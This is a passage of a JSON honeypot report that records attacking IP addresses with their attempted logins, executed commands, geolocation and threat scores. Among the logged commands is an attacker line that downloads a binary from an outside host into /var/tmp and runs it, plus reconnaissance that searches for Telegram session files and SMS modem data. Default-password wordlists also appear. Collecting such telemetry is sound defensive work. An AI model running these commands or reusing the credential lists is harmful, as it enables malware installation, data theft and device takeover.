      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 52
      }
    },
    "178.173.39.201": {
      "attack_count": 130,
      "first_seen": "2026-04-23T03:08:13.539Z",
      "last_seen": "2026-04-23T03:16:10.312Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "guest",
        "supervisor",
        "666666",
        "888888",
        "Admin",
        "Administrator",
        "admin1",
        "administrator",
        "default",
        "mother",
        "service",
        "support",
        "tech",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "admin",
        "password",
        "",
        "1111",
        "123456",
        "1234567890",
        "54321",
        "5up",
        "666666",
        "7ujMko0admin",
        "888888",
        "Win1doW$",
        "aquario",
        "pass",
        "user",
        "00000000",
        "1001chin",
        "1111111"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 47759,
      "as_org": "POIG Ltd.",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T03:08:13.539000+00:00",
        "last_seen_30d": "2026-04-23T03:26:10.871000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 130,
        "Suricata": 20
      }
    },
    "64.89.163.211": {
      "attack_count": 110,
      "first_seen": "2026-04-01T23:04:21.077Z",
      "last_seen": "2026-04-02T10:48:47.343Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "ftp01",
        "ftp02",
        "ftp2",
        "ftpuser01",
        "ftpuser02",
        "ftpuser1",
        "ftpuser2",
        "test-1",
        "test01",
        "test2",
        "testuser02",
        "testuser1",
        "testuser2",
        "user01",
        "user02",
        "user1"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [
        "(uname -a|cut -d' ' -f1,2,3,7,11|tr '; ' ' ' && cat /proc/cpuinfo|grep name|cut -f2 -d:|uniq -c ; cd /var/tmp ; wget download.xrpl.city/run && chmod +x run && ./run) | xargs",
        "uname -a | cut -d  -f1,2,3,7,11 | tr ;    && cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c ; cd /var/tmp ; wget download.xrpl.city/run && chmod +x run && ./run",
        "uname -a | cut -d -f1,2,3,7,11 | tr",
        "| xargs"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 401626,
      "as_org": "Netiface America, Inc.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T23:04:21.077000+00:00",
        "last_seen_30d": "2026-04-02T10:49:49.208000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 110,
        "Suricata": 72
      }
    },
    "206.168.201.151": {
      "attack_count": 100,
      "first_seen": "2026-04-19T12:25:06.236Z",
      "last_seen": "2026-04-25T00:03:09.926Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T12:25:06.236000+00:00",
        "last_seen_30d": "2026-04-25T00:04:17.187000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 52
      }
    },
    "34.140.17.145": {
      "attack_count": 71,
      "first_seen": "2026-04-24T08:04:04.987Z",
      "last_seen": "2026-04-24T08:04:47.140Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2839",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T08:04:04.987000+00:00",
        "last_seen_30d": "2026-04-24T08:05:56.454000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "103.26.86.230": {
      "attack_count": 50,
      "first_seen": "2026-04-22T20:13:28.080Z",
      "last_seen": "2026-04-22T20:18:52.535Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T20:13:28.080000+00:00",
        "last_seen_30d": "2026-04-22T20:19:58.415000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "112.249.89.236": {
      "attack_count": 50,
      "first_seen": "2026-04-27T17:42:51.179Z",
      "last_seen": "2026-04-27T17:48:15.563Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:42:51.179000+00:00",
        "last_seen_30d": "2026-04-27T17:49:22.382000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "162.240.33.211": {
      "attack_count": 50,
      "first_seen": "2026-04-30T20:09:50.671Z",
      "last_seen": "2026-04-30T20:12:51.390Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T20:09:50.671000+00:00",
        "last_seen_30d": "2026-04-30T20:13:56.037000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "61.53.89.46": {
      "attack_count": 50,
      "first_seen": "2026-04-15T12:28:59.223Z",
      "last_seen": "2026-04-15T12:34:23.548Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T12:28:59.223000+00:00",
        "last_seen_30d": "2026-04-15T12:35:33.089000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "5.187.97.40": {
      "attack_count": 37,
      "first_seen": "2026-04-23T22:47:35.065Z",
      "last_seen": "2026-04-23T22:48:57.414Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Guadeloupe",
      "country_code": "GP",
      "city": "Les Abymes",
      "asn": 21351,
      "as_org": "Canal + Telecom SAS",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T22:47:35.065000+00:00",
        "last_seen_30d": "2026-04-23T22:50:06.747000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "45.15.227.120": {
      "attack_count": 35,
      "first_seen": "2026-04-04T01:25:16.173Z",
      "last_seen": "2026-04-04T01:26:57.615Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 207164,
      "as_org": "Primanet Srl",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T01:25:16.173000+00:00",
        "last_seen_30d": "2026-04-04T01:28:01.690000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "222.141.76.38": {
      "attack_count": 30,
      "first_seen": "2026-04-14T03:27:58.637Z",
      "last_seen": "2026-04-14T03:31:13.066Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T03:27:58.637000+00:00",
        "last_seen_30d": "2026-04-14T03:32:21.928000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "36.255.33.119": {
      "attack_count": 30,
      "first_seen": "2026-04-19T01:44:48.887Z",
      "last_seen": "2026-04-19T01:48:03.425Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T01:44:48.887000+00:00",
        "last_seen_30d": "2026-04-19T01:49:04.084000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "177.124.11.114": {
      "attack_count": 24,
      "first_seen": "2026-04-29T05:29:39.057Z",
      "last_seen": "2026-04-29T05:41:49.766Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santa Isabel",
      "asn": 262285,
      "as_org": "VIVAS TELECOMUNICACOES LTDA",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T05:29:39.057000+00:00",
        "last_seen_30d": "2026-04-29T05:49:56.963000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 16
      }
    },
    "150.95.112.57": {
      "attack_count": 23,
      "first_seen": "2026-04-11T02:01:12.153Z",
      "last_seen": "2026-04-12T23:19:44.018Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "#2026Kelltech",
        "123kelltech",
        "2024!Kelltech",
        "Kelltech$2025"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131392,
      "as_org": "GMO-Z.com Runsystem Joint Stock Company",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T02:01:12.153000+00:00",
        "last_seen_30d": "2026-04-12T23:20:46.344000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "120.241.79.66": {
      "attack_count": 21,
      "first_seen": "2026-04-01T19:01:41.788Z",
      "last_seen": "2026-04-21T04:22:27.099Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56040,
      "as_org": "China Mobile communications corporation",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 17.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 21,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T19:01:41.788000+00:00",
        "last_seen_30d": "2026-04-21T04:33:33.128000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 21,
        "Honeytrap": 1
      }
    },
    "172.99.61.198": {
      "attack_count": 20,
      "first_seen": "2026-04-01T11:48:45.844Z",
      "last_seen": "2026-04-29T10:13:47.453Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tampa",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 409,
        "days_active_30d": 29,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T11:48:45.839000+00:00",
        "last_seen_30d": "2026-04-29T10:18:55.698000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 278,
        "Honeytrap": 56,
        "Dionaea": 35,
        "Cowrie": 20,
        "Miniprint": 15,
        "Sentrypeer": 5
      }
    },
    "91.171.141.179": {
      "attack_count": 16,
      "first_seen": "2026-04-28T14:06:09.621Z",
      "last_seen": "2026-04-28T14:16:13.485Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Levallois-Perret",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T14:06:09.621000+00:00",
        "last_seen_30d": "2026-04-28T14:17:15.808000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "103.236.154.142": {
      "attack_count": 14,
      "first_seen": "2026-04-30T05:57:10.384Z",
      "last_seen": "2026-04-30T06:00:00.135Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 58659,
      "as_org": "Quest Consultancy Pvt Ltd",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-30T05:57:10.384000+00:00",
        "last_seen_30d": "2026-04-30T06:01:07.966000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 12,
        "Honeytrap": 2
      }
    },
    "111.90.139.165": {
      "attack_count": 14,
      "first_seen": "2026-04-30T19:59:44.826Z",
      "last_seen": "2026-04-30T20:00:36.408Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 45839,
      "as_org": "Shinjiru Technology Sdn Bhd",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:59:44.826000+00:00",
        "last_seen_30d": "2026-04-30T20:01:40.407000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "49.229.72.68": {
      "attack_count": 14,
      "first_seen": "2026-04-22T15:33:05.976Z",
      "last_seen": "2026-04-27T10:07:32.687Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu"
      ],
      "passwords_attempted": [
        "Ubuntu12",
        "angelica"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45458,
      "as_org": "SBN-ISPAWN-ISP and SBN-NIXAWN-NIX",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T15:33:05.976000+00:00",
        "last_seen_30d": "2026-04-27T10:08:35.122000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "116.203.108.22": {
      "attack_count": 12,
      "first_seen": "2026-04-30T11:11:11.793Z",
      "last_seen": "2026-04-30T11:12:32.198Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:11:11.793000+00:00",
        "last_seen_30d": "2026-04-30T11:13:42.315000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "165.227.170.229": {
      "attack_count": 12,
      "first_seen": "2026-04-03T17:40:49.770Z",
      "last_seen": "2026-04-03T17:41:46.038Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 125666,
        "days_active_30d": 1,
        "ports_targeted_30d": 64966,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-04-03T17:39:27+00:00",
        "last_seen_30d": "2026-04-03T17:53:26.846000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 110631,
        "Honeytrap": 14975,
        "Cowrie": 12,
        "ConPot": 10,
        "Dionaea": 10,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "185.242.3.105": {
      "attack_count": 12,
      "first_seen": "2026-04-01T21:23:53.678Z",
      "last_seen": "2026-04-06T23:36:57.771Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60223,
      "as_org": "Netiface Limited",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T21:23:53.678000+00:00",
        "last_seen_30d": "2026-04-06T23:38:07.756000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 12
      }
    },
    "191.8.34.195": {
      "attack_count": 10,
      "first_seen": "2026-04-28T02:14:19.855Z",
      "last_seen": "2026-04-28T02:18:36.787Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Taubat\u00e9",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
